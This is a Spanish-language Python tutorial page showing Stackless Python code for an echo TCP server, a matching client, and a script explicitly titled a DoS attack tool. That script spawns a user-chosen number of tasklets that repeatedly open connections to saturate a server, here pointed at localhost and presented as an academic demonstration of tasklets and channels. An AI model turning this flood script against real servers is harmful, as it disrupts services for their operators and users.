Cliente y servidor TCP en Stackless Python



Versión: Stackless Python 2.6 ó 2.7.

Dados los beneficios de simultaneidad que provee Stackless Python, resulta ser una solución óptima al momento de desarrollar una conexión TCP, especialmente servidores. Los siguientes códigos de fuente utilizan directamente el módulo stacklesssocket (descarga alternativa), que soporta íntegramente y sin problemas las versiones 2.6 y 2.7. Mis intentos por correrlo en la rama 3.x no han resultado.

En este enlace podrás encontrar más soluciones en relación al tema redes junto a Stackless.

Servidor TCP

Implementación de un servidor TCP análogo al publicado anteriormente como «Servidor TCP Multi-hilo». Resulta más eficiente al tener la posibilidad de soportar mayor cantidad de conexiones simultáneas.

Descargas

tcpserver.zip

Código de fuente

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
#      tcpserver.py
#
#      Copyright 2014 Recursos Python - www.recursospython.com
#
#

import stackless
import stacklesssocket; stacklesssocket.install()

from socket import socket, error as socket_error

def run_socket(conn, name):
    print("%s conectado." % name)
    while True:
        try:
            # Recibir datos del cliente.
            input_data = conn.recv(1024)
        except socket_error as e:
            print("[%s] %s" % (name, e))
            break
        else:
            if len(input_data) == 0:
                break
            # Reenviar la información recibida.
            elif input_data:
                conn.send(input_data)
    print("%s desconectado." % name)


def listener():
    s = socket()
    
    # Escuchar peticiones en el puerto 6030.
    s.bind(("localhost", 6030))
    s.listen(0)
    
    while True:
        conn, addr = s.accept()
        new_tasklet = stackless.tasklet(run_socket)(conn, "%s:%d" % addr)
        new_tasklet.insert()
        stackless.schedule()


def main():
    stackless.tasklet(listener)()
    stackless.run()


if __name__ == "__main__":
    main()

Cliente

Simple cliente haciendo uso del módulo stacklesssocket.

Descargas

client.zip

Código de fuente

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
#      client.py
#
#      Copyright 2014 Recursos Python - www.recursospython.com
#
#

import stackless
import stacklesssocket; stacklesssocket.install()

from socket import socket


def main():
    s = socket()
    s.connect(("localhost", 6030))
    
    while True:
        output_data = raw_input("> ")
        
        if output_data:
            # Enviar entrada.
            s.send(output_data)
            
            # Recibir respuesta.
            input_data = s.recv(1024)
            if input_data:
                print input_data


if __name__ == "__main__":
    main()

Herramienta de ataque DoS

El siguiente código es publicado únicamente con fines académicos. Demuestra la utilización de tasklets y channels en un simple script. Permite ejecutar más de 1.000 microthreads que trabajan simultáneamente para saturar una determinada conexión.

Descargas

dos.zip

Código de fuente

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
#      dos.py
#
#      Copyright 2014 Recursos Python - www.recursospython.com
#
#

import stackless
import stacklesssocket; stacklesssocket.install()

from socket import socket, error as socket_error
from sys import stdout


MSG_ESTABLISHED = 0
MSG_REFUSED = 1


def get_number(prompt):
    number = None
    while True:
        try:
            number = int(raw_input(prompt))
        except ValueError:
            pass
        else:
            break
    return number


def worker(id, channel):
    while True:
        s = socket()
        try:
            s.connect(("localhost", 6030))
        except socket_error as e:
            channel.send(MSG_REFUSED)
        else:
            channel.send(MSG_ESTABLISHED)
        s.close()


def listener(channel):
    established = 0
    refused = 0
    
    while True:
        message = channel.receive()
        if message == MSG_ESTABLISHED:
            established += 1
        elif message == MSG_REFUSED:
            refused += 1
        stdout.write("\r%d attempts (%d established, %d refused)." %
                     (established + refused, established, refused))


def main():
    count = get_number("Number of workers: ")
    
    channel = stackless.channel()
    stackless.tasklet(listener)(channel)
    
    for i in range(count):
        stackless.tasklet(worker)(i, channel)
    
    try:
        stackless.run()
    except KeyboardInterrupt:
        # Terminate.
        stdout.write("\n\r")


if __name__ == "__main__":
    main()



Deja un comentario